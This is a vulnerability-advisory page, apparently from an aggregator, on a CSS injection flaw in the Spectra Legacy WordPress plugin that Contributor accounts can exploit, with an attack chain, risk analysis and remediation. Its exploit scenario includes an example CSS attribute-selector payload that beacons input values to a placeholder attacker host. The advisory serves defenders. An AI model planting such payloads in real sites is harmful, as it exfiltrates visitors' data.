Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as WordPress Contributor
-
DeliveryCreate or edit post with Spectra Legacy block
-
ExploitInject malicious CSS in unescaped style attribute fields
-
InstallPublish post to public front-end
-
C2Anonymous visitor loads affected page
-
ExecuteBrowser executes injected CSS rules
-
ImpactCSS attribute selectors beacon DOM data to attacker-controlled server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Data authenticity verification
|
| Exploitation Conditions | Exploitation requires an account holding at least the Contributor role on the target WordPress installation - unauthenticated exploitation is not possible per the CVSS PR designation. The Spectra Legacy plugin must be installed, active, and used within at least one published post or page that is accessible to anonymous visitors. At least one victim user must load the affected page in a browser for injected CSS to execute (UI:R). JavaScript execution through this vector is explicitly blocked by WordPress KSES filtering at save time, limiting the attack to CSS-only effects: page defacement, UI redressing, external resource loading, and CSS attribute-selector-based side-channel data leakage. The attack is neutralized on sites where Contributors cannot publish without editorial approval, where the plugin is inactive, or where no Spectra Legacy blocks are used in public-facing content. |
| Impact | The provided CVSS 3.1 score of 3.5 (Low) uses the vector AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N, but the PR:H (High Privileges) designation is inconsistent with the description, which states exploitation is possible from the Contributor role - the lowest publishing role in WordPress and a standard low-privilege classification. PR:L would more accurately reflect this role, which materially increases exploitability and the realistic risk above what the 3.5 score conveys. This discrepancy is not resolved in the available data and should be verified with the vendor. EPSS at 0.12% (2nd percentile) reflects negligible observed exploitation activity, and the CVE is absent from CISA KEV. A publicly available proof-of-concept exists via WPScan, but POC availability and active exploitation are distinct signals - no confirmed in-the-wild abuse is indicated by current data. The practical risk is elevated specifically for multi-author WordPress sites where untrusted Contributor accounts can publish Spectra Legacy blocks without editorial review, since CSS-based defacement and attribute-selector data exfiltration are viable even without JavaScript. |
| Exploit ScenarioDerived | A threat actor registers or compromises a Contributor-level WordPress account on the target site and creates a post containing a Spectra Legacy block with malicious CSS in its style attribute fields - for example, CSS attribute selectors such as input[value^='tok']{ background: url('https://attacker.example/x?v=tok') } targeting form fields rendered on the page. Once the post is published and visited by anonymous users, victim browsers silently issue HTTP requests to the attacker's server carrying fragments of sensitive DOM attribute values, completing passive data exfiltration. A publicly available proof-of-concept is referenced in the WPScan advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 05, 2026
CSS injection in the Spectra Legacy WordPress plugin before version 2.20.0 allows authenticated Contributors to embed arbitrary CSS via unvalidated block style attributes that are output verbatim to page front-ends. Anonymous visitors loading affected pages are exposed to attacker-controlled styles enabling page defacement, UI redressing, external resource loading, and side-channel data exfiltration through CSS attribute selectors. JavaScript execution is explicitly blocked by WordPress KSES filtering, constraining the worst-case impact; a publicly available proof-of-concept exists per WPScan, though EPSS sits at 0.12% (2nd percentile), indicating low observed exploitation probability and no CISA KEV listing.
RemediationAI
Update the Spectra Legacy WordPress plugin to version 2.20.0 or later, which introduces proper validation and escaping of block style attributes prior to CSS output; this is confirmed as the vendor-released fix per WPScan (https://wpscan.com/vulnerability/068ac525-423b-42f8-9ef4-f102f948dc78/). Where immediate patching is not feasible, restrict the Contributor role from creating or publishing posts that include Spectra Legacy blocks, or enforce editorial approval workflows so that Contributor-submitted content is reviewed before publication - this eliminates the attack surface without requiring the update. Deploying a Content Security Policy (CSP) header with a restrictive default-src or style-src directive can block CSS-triggered external resource loads, limiting data exfiltration via external HTTP requests, though it will not prevent local UI redressing or defacement. Note that CSP alone does not fix the injection and adds operational overhead when legitimate external resources are used. Removing the plugin entirely in favor of the non-legacy Spectra version is the most durable remediation if the legacy plugin is no longer required.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the Spectra Legacy WordPress plugin (CPE: cpe:2.3:a:unknown:spectra_legacy:*:*:*:*:*:*:*:*), a Gutenberg block builder. The root cause is classified as CWE-345 (Insufficient Verification of Data Authenticity), which in this context manifests as a failure to validate or escape contributor-supplied block style attributes before interpolating them into inline CSS emitted on the public-facing front-end. WordPress's KSES (K-sanitization) system strips script tags at save time, which prevents JavaScript breakout from this vector but does not govern raw CSS attribute values passed through the block editor. CSS attribute selectors (e.g., input[value^='x']) can be weaponized to probe DOM attribute content and trigger external HTTP requests, enabling passive data leakage without any JavaScript. The Gutenberg block editor separates content authoring from rendering in a way that, if output encoding is omitted at the CSS generation step, allows contributed style data to survive unmodified into server-rendered HTML.
Know when Spectra Legacy gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
Contributor is a low-privilege WordPress role warranting PR:L not PR:H; page visit by victim required (UI:R); CSS-only impact caps C and I at Low with no availability impact.
Primary rating from Vendor (WPScan).
CVSS VectorVendor: WPScan
Lifecycle Timeline
4DescriptionCVE.org
The Spectra Legacy WordPress plugin before 2.20.0 does not validate or escape several block style attributes before using them to build the CSS it outputs on the front end, allowing users with the Contributor role and above to inject arbitrary CSS into the pages that render the affected block. The injected styles are served to anonymous visitors of those pages and can force external resource loads, deface/redress the page, or exfiltrate data via CSS attribute selectors. JavaScript execution is not possible at this role (the script-tag breakout is removed by KSES), so the impact is limited to CSS injection.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
EUVD-2026-51696
GHSA-jjxc-6f47-pv8f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB